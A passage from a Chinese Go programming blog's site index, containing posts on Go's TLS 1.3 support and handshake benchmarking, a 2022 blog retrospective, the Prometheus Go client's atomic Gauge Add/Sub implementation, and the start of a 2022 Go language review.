-sha256 -key server.key -out server.crt -days 3650 You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) []: State or Province Name (full name) []: Locality Name (eg, city) []: Organization Name (eg, company) []: Organizational Unit Name (eg, section) []: Common Name (eg, fully qualified host name) []:localhost Email Address []: 关于非对称加密和数字证书方面的详细内容，可以参见我的《Go语言精进之路》一书的第51条“使用net/http包实现安全通信”。\n运行Server和Client，这里我使用的是Go 1.19版本编译器：\n$go run server.go hello, world from client EOF $go run client.go hello, world from server 我们的示例已经可以正常运行了！那么如何证明示例中的client与server间使用的是1.3版本的TLS连接呢？或者如何查看client与server间使用的是哪个TLS版本呢？\n有小伙伴可能会说：用wireshark抓包看，这个可行，但是用wireshark抓tls包，尤其是1.3建连包比较费劲。我们有更简单的方式，我们在开发环境可以通过修改标准库来实现。我们继续往下看。\n4. server和client端的TLS版本的选择 TLS握手过程由client端发起，从client的视角，当client收到serverHello的响应后便可得到决策后要使用的TLS版本。因此这里我们改造一下crypto/tls/handshake_client.go的clientHandshake方法，在其实现中利用fmt.Printf输出TLS连接相关的信息即可(见下面代码中”====”开头的输出内容)：\n// $GOROOT/src/crypto/tls/handshake_client.go func (c *Conn) clientHandshake(ctx context.Context) (err error) { ... ... hello, ecdheParams, err := c.makeClientHello() if err != nil { return err } c.serverName = hello.serverName fmt.Printf(\u0026quot;====client: supportedVersions: %x, cipherSuites: %x\\n\u0026quot;, hello.supportedVersions, hello.cipherSuites) ... ... msg, err := c.readHandshake() if err != nil { return err } serverHello, ok := msg.(*serverHelloMsg) if !ok { c.sendAlert(alertUnexpectedMessage) return unexpectedMessageError(serverHello, msg) } if err := c.pickTLSVersion(serverHello); err != nil { return err } ... ... if c.vers == VersionTLS13 { fmt.Printf(\u0026quot;====client: choose tls 1.3, server use ciphersuite: [0x%x]\\n\u0026quot;, serverHello.cipherSuite) ... ... // In TLS 1.3, session tickets are delivered after the handshake. return hs.handshake() } fmt.Printf(\u0026quot;====client: choose tls 1.2, server use ciphersuite: [0x%x]\\n\u0026quot;, serverHello.cipherSuite) hs := \u0026amp;clientHandshakeState{ ... ... } if err := hs.handshake(); err != nil { return err } ... ... } 修改完标准库后，我们再来重新运行一下上面的client.go：\n$go run client.go ====client: supportedVersions: [304 303], cipherSuites: [c02b c02f c02c c030 cca9 cca8 c009 c013 c00a c014 9c 9d 2f 35 c012 a 1301 1302 1303] ====client: choose tls 1.3, server use ciphersuite: [0x1301] hello, world from server 这里我们看一下第一行输出的内容，这里输出的是client端构建clientHello握手包中的内容，展示的是client端支持的TLS版本以及密码套件(cipher suites)，我们看到客户端支持0×304、0×303两个TLS版本，这两个数字与下面代码中的常量分别对应：\n// $GOROOT/src/crypto/tls/common.go const ( VersionTLS10 = 0x0301 VersionTLS11 = 0x0302 VersionTLS12 = 0x0303 VersionTLS13 = 0x0304 // Deprecated: SSLv3 is cryptographically broken, and is no longer // supported by this package. See golang.org/issue/32716. VersionSSL30 = 0x0300 ) 而输出的cipherSuites中包含的那些十六进制数则来自下面常量：\n// $GOROOT/src/crypto/tls/cipher_suites.go const ( // TLS 1.0 - 1.2 cipher suites. TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005 TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035 TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003c TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009c TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009d TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009 TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011 TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013 TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc023 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc027 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc030 TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc02c TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca8 TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9 // TLS 1.3 cipher suites. TLS_AES_128_GCM_SHA256 uint16 = 0x1301 TLS_AES_256_GCM_SHA384 uint16 = 0x1302 TLS_CHACHA20_POLY1305_SHA256 uint16 = 0x1303 ... ... } 而从client.go运行结果中的第二行输出可以看出：这次建连，双方最终选择了TLS 1.3版本和TLS_AES_128_GCM_SHA256这个cipher suite。这与前面我们在回顾Go语言对TLS 1.3的支持历史中的描述一致，TLS 1.3是建连版本的默认选择。\n那么我们是否可以选择建连时使用的版本呢？当然可以，我们既可以在server端配置，也可以在客户端配置。我们先来看看在Server端如何配置：\n// https://github.com/bigwhite/experiments/blob/master/go-and-tls13/server_tls12.go func main() { cer, err := tls.LoadX509KeyPair(\u0026quot;server.crt\u0026quot;, \u0026quot;server.key\u0026quot;) if err != nil { fmt.Println(err) return } config := \u0026amp;tls.Config{ Certificates: []tls.Certificate{cer}, MaxVersion: tls.VersionTLS12, } ... ... } 我们基于server.go创建了server_tls12.go，在这个新源文件中，我们在tls.Config中增加一个配置MaxVersion，并将其值设置为tls.VersionTLS12，其含义是其最高支持的TLS版本为TLS 1.2。这样当我们使用client.go与基于server_tls12.go运行的服务端程序建连时，我们将得到下面输出：\n$go run client.go ====client: supportedVersions: [304 303], cipherSuites: [c02b c02f c02c c030 cca9 cca8 c009 c013 c00a c014 9c 9d 2f 35 c012 a 1301 1302 1303] ====client: choose tls 1.2, server use ciphersuite: [0xc02f] hello, world from server 我们看到，交互的双方最后选择了TLS 1.2版本，使用的密码套件为0xc02f，即TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256。\n同理，如果你想在client端配置最高支持TLS 1.2版本的话，也可以采用同样的方式，大家可以看看本文对应代码库中的client_tls12.go这个源文件，这里就不赘述了。\n到这里，一些小伙伴可能有了一个疑问：我们可以配置使用的TLS的版本，那么对于TLS 1.3而言，我们是否可以配置要使用的密码套件呢？答案是目前不可以，理由来自于Config.CipherSuites字段的注释：“Note that TLS 1.3 ciphersuites are not configurable”：\n// $GOROOT/src/crypto/tls/common.go type Config struct { ... ... // CipherSuites is a list of enabled TLS 1.0–1.2 cipher suites. The order of // the list is ignored. Note that TLS 1.3 ciphersuites are not configurable. // // If CipherSuites is nil, a safe default list is used. The default cipher // suites might change over time. CipherSuites []uint16 ... ... } tls包会根据系统是否支持AES加速来选择密码套件，如果支持AES加速，就使用下面的defaultCipherSuitesTLS13，这样AES相关套件会被优先选择，否则defaultCipherSuitesTLS13NoAES会被使用，TLS_CHACHA20_POLY1305_SHA256会被优先选择：\n// $GOROOT/src/crypto/tls/cipher_suites.go // defaultCipherSuitesTLS13 is also the preference order, since there are no // disabled by default TLS 1.3 cipher suites. The same AES vs ChaCha20 logic as // cipherSuitesPreferenceOrder applies. var defaultCipherSuitesTLS13 = []uint16{ TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, TLS_CHACHA20_POLY1305_SHA256, } var defaultCipherSuitesTLS13NoAES = []uint16{ TLS_CHACHA20_POLY1305_SHA256, TLS_AES_128_GCM_SHA256, TLS_AES_256_GCM_SHA384, } 注：joe shaw曾写过一篇文章“Abusing go:linkname to customize TLS 1.3 cipher suites”，文中描述了一种通过go:linkname定制TLS 1.3密码套件的方法，有兴趣的小伙伴们可以去阅读一下。\n5. 建连速度benchmark 最后我们再来看看相较于TLS 1.2，TLS 1.3的建连速度究竟快了多少。考虑到两个版本在RTT数量上的差异，即网络延迟对建连速度影响较大，我特意选择了一个ping在20-30ms的网络。我们为TLS 1.2和TLS 1.3分别建立Benchmark Test：\n// https://github.com/bigwhite/experiments/blob/master/go-and-tls13/benchmark/benchmark_test.go package main import ( \u0026quot;crypto/tls\u0026quot; \u0026quot;testing\u0026quot; ) func tls12_dial() error { conf := \u0026amp;tls.Config{ InsecureSkipVerify: true, MaxVersion: tls.VersionTLS12, } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;192.168.11.10:8443\u0026quot;, conf) if err != nil { return err } conn.Close() return nil } func tls13_dial() error { conf := \u0026amp;tls.Config{ InsecureSkipVerify: true, } conn, err := tls.Dial(\u0026quot;tcp\u0026quot;, \u0026quot;192.168.11.10:8443\u0026quot;, conf) if err != nil { return err } conn.Close() return nil } func BenchmarkTls13(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { err := tls13_dial() if err != nil { panic(err) } } } func BenchmarkTls12(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { err := tls12_dial() if err != nil { panic(err) } } } server部署在192.168.11.10上，针对每个benchmark test，我们给予10s钟的测试时间，下面是运行结果：\n$go test -benchtime 10s -bench . goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz BenchmarkTls13-8 216 56036809 ns/op 47966 B/op 608 allocs/op BenchmarkTls12-8 145 82395933 ns/op 26655 B/op 283 allocs/op PASS ok demo 37.959s 我们看到相对与TLS 1.2，TLS 1.3建连速度的确更快些。不过从内存分配的情况来看，Go TLS 1.3的实现似乎更复杂一些。\n6. 参考资料 RFC 8446：The Transport Layer Security (TLS) Protocol Version 1.3 – https://datatracker.ietf.org/doc/rfc8446/ 前向安全 – https://sunhuachuang.gitbooks.io/sun-note/content/cryptography/forward_backward_secrecy.html 本文涉及的源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/01/13/go-and-tls13/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-and-tls13-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/01/13/go-and-tls13\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/01/13/go-and-tls13\"\u003ehttps://tonybai.com/2023/01/13/go-and-tls13\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e除了一些综述类文章和译文，我的文章选题多来源于实际工作和学习中遇到的问题。这次我们来聊聊近期遇到一个问题：\u003cstrong\u003e如何加快基于TLS安全通信的海量连接的建连速度\u003c/strong\u003e?\u003c/p\u003e","title":"聊聊Go与TLS 1.3"},{"content":"\n本文永久链接 – https://tonybai.com/2023/01/11/2022-blog-summary\n2022年对我来说，也是十分忙碌和充实的一年。尽管和2021年相比，成果物没那么多^_^。\n伴随着二宝的长大，我发现自己的闲暇时间被进一步“压缩”，还好大宝上初中后领悟到了自驱学习的重要性和相关方法后，她的学习现在基本不需要我过问了。\n2022年初，《Go语言精进之路：从新手到高手的编程思想、方法和技巧》系列1、2册上市后取得了不错的口碑，纸版书售卖量也还不错，在年中的时候都进入二印了，这也让我有机会修复一些勘误表中的问题，让读者拿到内容更准确的的版本。年中，我还借助谢大组织的“GoCN社区的Go读书会”分享了《Go语言精进之路》这本书的写作历程、内容导读以及个人的一些读书方法和经验。\n我在极客时间的《Go语言第一课》专栏由于口碑相传，得到了很多Gopher的关注和学习，我也很积极的回答学员们的各种问题。目前该专栏大约排在极客时间周学习排行榜15名左右，不过还进不了首页推荐，和那些常驻首页的大V课程还没法比^_^。\n2022年应谢大之邀，原本计划在GopherChina 2022之前的培训环节做一期《Go高级工程师训练营》培训的，但GopherChina因为疫情原因两次推迟，最终线下大会被取消，没能成行。期望在2023年能把这个培训补上。\n2022年是我进入智能网联汽车这个赛道的第二个年头，精力主要花在研发几个重要的核心产品上，包括：车云通信产品、车端的基于DSL的数据处理产品、云端的流数据处理和时序数据存储产品等，跨度很大，难度很大。目前车云通信产品已经部署在我们主要客户的生产环境，为2023车型提供车云通道能力，另外我们也在与国内一些大主机厂做POC测试。时序数据存储产品进入关键的设计阶段，这块经验的确不足，需要投入较大精力学习、思考和尝试，2023年我将投入较大精力在这个产品上。\n在博客写作方面，我仍然保持高昂的热情，粗略统计了一下，今年写了有80余篇。和2021年一样，这里我也根据阅读数量选出了2022年本博客最受欢迎的若干篇文章(排名不分先后)：\n《2022年Go语言盘点：泛型落地，无趣很好，稳定为王》 《Go编程语言与环境：万字长文复盘导致Go语言成功的那些设计决策》 《评点2021-2022年上市的那些Go语言新书》 《这可能是最权威、最全面的Go语言编码风格规范了！》 《Go 1.20新特性前瞻》 《Go为什么能成功》 《通过实例理解Go标准库context包》 《slog：Go官方版结构化日志包》 《Go语言之道[译]》 《Go 1.19中值得关注的几个变化》 《使用Go开发Kubernetes Operator：基本结构》 《使用Go语言开发eBPF程序》 《使用C语言从头开发一个Hello World级别的eBPF程序》 《GoCN社区Go读书会第二期：《Go语言精进之路》》 《使用Go基于国密算法实现双向认证》 《小厂内部私有Go module拉取方案（续）》 《Go程序员拥抱C语言简明指南》 《使用ANTLR和Go实现DSL入门》 《Go 1.18中值得关注的几个变化》 《Go社区主流Kafka客户端简要对比》 《为什么有了Go module后“依赖地狱”问题依然存在》 《聊聊Go应用输出日志的工程实践》 复盘了一下2022年的博客文章，感觉目前的博客选题更多是“工作和学习中遇到的问题”来驱动的，还缺少系统化的规划和组织，2023年在这方面需要加强。\n最后展望一下2023年！\n在纸版书写作方面，2023年是否开启《Go语言精进之路》第三册、 是否扩写《Go语言第一课》专栏，然后整理成纸版书出版等都是可尝试的但未确定的事情。\n专栏方面也有一些不成熟的选题想法：\n如何写出地道的Go代码 深入理解Go核心技术 Go高级工程师必知必会(在培训的基础上扩充) Gopher部落知识星球也将进入运营的第三个年头，2022年尝试做出了一些改变，效果还不错。2023年争取再聚焦一下：围绕少而精的几个主题做高质量分享。\n2022年最大的“损失”是微博账号被冻结了，目前只能暂时用小号。之前的账号啥时候恢复也不清楚，也可能会永远失去那个账号。失去了微博这个重要的私域流量，损失还是蛮大的:(\n2023年，由于时序数据存储这个产品的原因，可能会真正开始学习Rust语言，虽然之前了解过多次，但都是从入门到放弃了。这回有了产品和项目驱动，希望不会“重蹈覆辙”^_^。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/01/11/2022-blog-summary/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2021-blog-summary-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/01/11/2022-blog-summary\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/01/11/2022-blog-summary\"\u003ehttps://tonybai.com/2023/01/11/2022-blog-summary\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e2022年对我来说，也是\u003cstrong\u003e十分忙碌和充实的一年\u003c/strong\u003e。尽管和\u003ca href=\"https://tonybai.com/2021/12/31/2021-blog-summary\"\u003e2021年\u003c/a\u003e相比，成果物没那么多^_^。\u003c/p\u003e\n\u003cp\u003e伴随着\u003ca href=\"https://daughter2.tonybai.com/\"\u003e二宝\u003c/a\u003e的长大，我发现自己的闲暇时间被进一步“压缩”，还好\u003ca href=\"https://daughter.tonybai.com/\"\u003e大宝\u003c/a\u003e上初中后领悟到了自驱学习的重要性和相关方法后，她的学习现在基本不需要我过问了。\u003c/p\u003e\n\u003cp\u003e2022年初，\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e《Go语言精进之路：从新手到高手的编程思想、方法和技巧》\u003c/a\u003e系列1、\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e2册\u003c/a\u003e上市后取得了不错的口碑，纸版书售卖量也还不错，在年中的时候都进入二印了，这也让我有机会修复一些\u003ca href=\"https://github.com/bigwhite/GoProgrammingFromBeginnerToMaster/blob/main/errata.md\"\u003e勘误表\u003c/a\u003e中的问题，让读者拿到内容更准确的的版本。年中，我还借助谢大组织的“GoCN社区的Go读书会”分享了\u003ca href=\"https://tonybai.com/2022/07/07/gocn-community-go-book-club-issue2-go-programming-from-beginner-to-master\"\u003e《Go语言精进之路》这本书的写作历程\u003c/a\u003e、内容导读以及个人的一些读书方法和经验。\u003c/p\u003e\n\u003cp\u003e我在极客时间的\u003ca href=\"http://gk.link/a/10AVZ\"\u003e《Go语言第一课》\u003c/a\u003e专栏由于口碑相传，得到了很多Gopher的关注和学习，我也\u003ca href=\"https://tonybai.com/go-course-faq\"\u003e很积极的回答学员们的各种问题\u003c/a\u003e。目前该专栏大约排在极客时间周学习排行榜15名左右，不过还进不了首页推荐，和那些常驻首页的大V课程还没法比^_^。\u003c/p\u003e\n\u003cp\u003e2022年应谢大之邀，原本计划在GopherChina 2022之前的培训环节做一期《Go高级工程师训练营》培训的，但GopherChina因为疫情原因两次推迟，最终线下大会被取消，没能成行。期望在2023年能把这个培训补上。\u003c/p\u003e","title":"2022年博客回顾与总结"},{"content":"\n本文永久链接 – https://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub\n1. Gauge是啥？ 熟悉Prometheus的小伙伴们都知道Prometheus提供了四大指标类型：\nCounter Gauge Histogram Summary Histogram和Summary是一类，但理解起来稍复杂一些，这里我们暂且不提。Counter顾名思义“计数器”，仅提供了Add方法，是一个一直递增的数值；而Gauge直译为“仪表盘”，它也是一个数值，但和Counter不同，它不仅提供Add方法，还提供了Sub方法。如果你的指标可增可减或是需要支持负数，那么Gauge显然是一个比Counter更适合的指标类型。\n近期我们在测试时发现一个Gauge值为负的问题，Gauge本身是支持负值的，但我们系统中的这个指标值从业务含义上来说是不应该为负值的，为了fix掉这个问题，我深入看了一下Prometheus Go client包中Gauge的实现方式，Gauge的实现方式代表了一类问题的典型解决方法，这里简单聊聊。\n2. Gauge增减操作的原理 在Prometheus Go client包中，我们看到Gauge是一个接口类型：\n// github.com/prometheus/client_golang/prometheus/gauge.go type Gauge interface { Metric Collector // Set sets the Gauge to an arbitrary value. Set(float64) // Inc increments the Gauge by 1. Use Add to increment it by arbitrary // values. Inc() // Dec decrements the Gauge by 1. Use Sub to decrement it by arbitrary // values. Dec() // Add adds the given value to the Gauge. (The value can be negative, // resulting in a decrease of the Gauge.) Add(float64) // Sub subtracts the given value from the Gauge. (The value can be // negative, resulting in an increase of the Gauge.) Sub(float64) // SetToCurrentTime sets the Gauge to the current Unix time in seconds. SetToCurrentTime() } client包还提供了该接口的默认实现类型gauge：\n// github.com/prometheus/client_golang/prometheus/gauge.go type gauge struct { // valBits contains the bits of the represented float64 value. It has // to go first in the struct to guarantee alignment for atomic // operations. http://golang.org/pkg/sync/atomic/#pkg-note-BUG valBits uint64 selfCollector desc *Desc labelPairs []*dto.LabelPair } 从gauge类型定义来看，作为仪表盘即时数值的gauge，其核心字段是uint64类型的valBits，该字段存储了gauge指标所代表的即时值。\n不过我们看到Gauge接口类型中的Add和Sub方法的参数都是float64类型。Gauge接口类型中的方法使用float64类型作为参数是无可厚非的，这是因为Gauge要支持浮点数，要支持小数，浮点数可以转化为整型，但整型却无法支持转换为带有小数部分的浮点数。\n那么为什么gauge类型中使用了uint64类型而不是float64类型的字段来存储gauge代表的即时值呢？这就要从Prometheus go client的一个特性说起，那就是对Gauge即时值的修改要保证goroutine-safe。具体来说，gauge使用的是atomic包提供的原子操作来保证这种并发访问安全。但标准库的atomic包支持uint64类型的原子操作，而不支持float64类型的原子操作，恰float64和uint64的size又都是8字节，于是Prometheus go client利用了uint64支持原子操作以及uint64和float64类型都是64bits长度这两点实现了gauge类型的Add和Sub方法：\n// github.com/prometheus/client_golang/prometheus/gauge.go func (g *gauge) Add(val float64) { for { oldBits := atomic.LoadUint64(\u0026amp;g.valBits) newBits := math.Float64bits(math.Float64frombits(oldBits) + val) if atomic.CompareAndSwapUint64(\u0026amp;g.valBits, oldBits, newBits) { return } } } func (g *gauge) Sub(val float64) { g.Add(val * -1) } 我们看到Sub方法实际调用的也是Add方法，只是将val值乘了个-1后作为Add方法的参数。我们接下来重点来看看gauge的Add方法。\ngauge Add方法的实现是一个典型的CAS(CompareAndSwap)原子操作的使用模式，即在一个无限循环中，先原子读取当前即时值，然后将其与传入的增量值进行加和得到新值，最后通过CAS操作将新值设置为当前即时值。如果CAS操作失败，则重新走一遍循环。\n不过值得我们关注的是Add方法中的float64与uint64类型各自的功用与相互的转换。Add方法先是利用atomic.LoadUint64原子读取valBits的值，然后通过math.Float64frombits将其转换为float64类型，之后用得到的float64类型即时值与val进行加法运算，得到我们想要的新值。接下来就是将其重新存储到valBits中。float64不支持原子操作，因此再调用CAS之前，Add方法还需将新值转换回uint64，这就是上面代码调用math.Float64bits的原因，之后通过atomic.CompareAndSwapUint64将保存了float64位模式的uint64类型的新值newBits写入valBits中。\n大家一定很好奇，math.Float64frombits和math.Float64bits是如何做的uint64和float64间的转换，我们来看一下他们的实现：\n// $GOROOT/src/math/unsafe.go // Float64bits returns the IEEE 754 binary representation of f, // with the sign bit of f and the result in the same bit position, // and Float64bits(Float64frombits(x)) == x. func Float64bits(f float64) uint64 { return *(*uint64)(unsafe.Pointer(\u0026amp;f)) } // Float64frombits returns the floating-point number corresponding // to the IEEE 754 binary representation b, with the sign bit of b // and the result in the same bit position. // Float64frombits(Float64bits(x)) == x. func Float64frombits(b uint64) float64 { return *(*float64)(unsafe.Pointer(\u0026amp;b)) } 我们看到，这两个函数只是利用unsafe包进行了类型转换，而并没有做任何算术运算。\n关于如何使用unsafe包进行安全的类型转换，可以参见我的《Go语言精进之路》一书的第58条“掌握unsafe包的安全使用模式”。\n综上：\ngauge结构体中uint64类型的valBits实质上只是用来做float64数值的“承载体”，并借助原子操作对其类型的支持实现即时值的更新，它本身并不参与任何整型或浮点型计算； Add方法中的运算都是在浮点型之间进行的，Add方法通过math.Float64frombits将uint64中承载的符合IEEE 754的浮点数表示还原为一个浮点数类型，然后与同样是float64类型的输入参数进行加和计算，计算的结果再通过math.Float64bits函数转换为uint64类型，这个过程8字节字段的位模式没有发生任何变化，最后通过CAS操作将结果值(新的位模式)写入valBits。 valBits中存储的是满足IEEE 754的浮点数的位模式。IEEE 754规范中，一个浮点数是由“符号位+阶码+尾数”构成的。详情可参考我的《Go语言第一课》专栏的第12讲基本数据类型：Go原生支持的数值类型有哪些。\n3. 小结 gauge结构体以及其Add方法所使用的这种通过位模式转换实现float64原子操作的模式值得借鉴。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/how-prometheus-gauge-add-and-sub-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub\"\u003ehttps://tonybai.com/2023/01/10/how-prometheus-gauge-add-and-sub\u003c/a\u003e\u003c/p\u003e\n\u003ch3 id=\"1-gauge是啥\"\u003e1. Gauge是啥？\u003c/h3\u003e\n\u003cp\u003e熟悉Prometheus的小伙伴们都知道\u003ca href=\"https://prometheus.io/docs/concepts/metric_types/\"\u003ePrometheus提供了四大指标类型\u003c/a\u003e：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCounter\u003c/li\u003e\n\u003cli\u003eGauge\u003c/li\u003e\n\u003cli\u003eHistogram\u003c/li\u003e\n\u003cli\u003eSummary\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eHistogram和Summary是一类，但理解起来稍复杂一些，这里我们暂且不提。Counter顾名思义“计数器”，仅提供了Add方法，是一个一直递增的数值；而Gauge直译为“仪表盘”，它也是一个数值，但和Counter不同，它不仅提供Add方法，还提供了Sub方法。如果你的指标可增可减或是需要支持负数，那么Gauge显然是一个比Counter更适合的指标类型。\u003c/p\u003e","title":"聊聊Prometheus Gauge的增减操作实现"},{"content":"\n本文永久链接 – https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\n早早就计划好在年前写一个Go语言年度盘点，就像2020年和2021年那样。但恰逢国内疫情管控放开，一波阳了之后身体十分容易疲劳，再加上工作上的事情挺多，这篇盘点也就迟迟没能下笔。\n今年的盘点思路将围绕三个关键字来展开：泛型、无趣(boring)和稳定。下面我们逐一来看看。\n1. “泛型”靴子落地 2022年3月中旬，Go社区尤其是那些期盼Go加入泛型特性的Gopher终于迎来了Go 1.18版本的正式发布，这意味着Go泛型这只靴子终于落地了。\n其实，从Go开源那一天开始，Go核心团队就没有间断过对泛型的探索，并一直尝试寻找一个理想的泛型设计方案，但始终未能如愿。直到近几年Go团队觉得Go已经逐渐成熟，是时候下决心解决Go社区主要关注的几个问题了，包括泛型、包依赖以及错误处理等。其中泛型常年在Go官方用户调查报告的“你最想要的Go语言特性”这项调查的榜单上霸榜，下图摘自2020年度Go官方用户调查结果：\n之后，Go团队安排伊恩·泰勒和罗伯特·格瑞史莫花费更多精力在泛型的设计方案上，这才有了Go 1.18 版本中泛型语法特性的落地。\n个人觉得：Go泛型是Go核心团队对Go社区的一次迎合与妥协，因为泛型与Go的主要设计哲学“简单”是有悖的。泛型这个语法特性会给语言带来复杂性，这种复杂性不仅体现在语法层面上引入了难于理解和使用的新的语法元素，也体现在类型系统和运行时层面上为支持泛型进行的复杂的实现。\n如果从2010年6月份，伊恩·泰勒提出的Type Functions设计方案算起，到2022年3月份的泛型落地，Go加入泛型之路足足走了近12年。不过结果还是不错的，经过近12年的努力与不断地自我否定，Go团队终于找到了一个不违背**Go1兼容性承诺(见下图)**的泛型实现方案：\n从这方面讲，Go对泛型的支持又是十分成功的。在如此语法巨变的情况下，依然保持向后兼容(backforward compatibility)。\n不过如果你因为Go加入了对泛型的支持就打算投入Go阵营，这里先给你一些友情提示：和支持泛型的主流编程语言之间的泛型设计与实现存在差异一样，Go的泛型与其他主流编程语言的泛型也是不同的。在学习Go泛型之前，可以先了解一下Go泛型设计方案已经明确不支持的若干特性，比如：\n不支持泛型特化（specialization），即不支持编写一个泛型函数针对某个具体类型的特殊版本； 不支持元编程（metaprogramming），即不支持编写在编译时执行的代码来生成在运行时执行的代码； 不支持操作符方法（operator 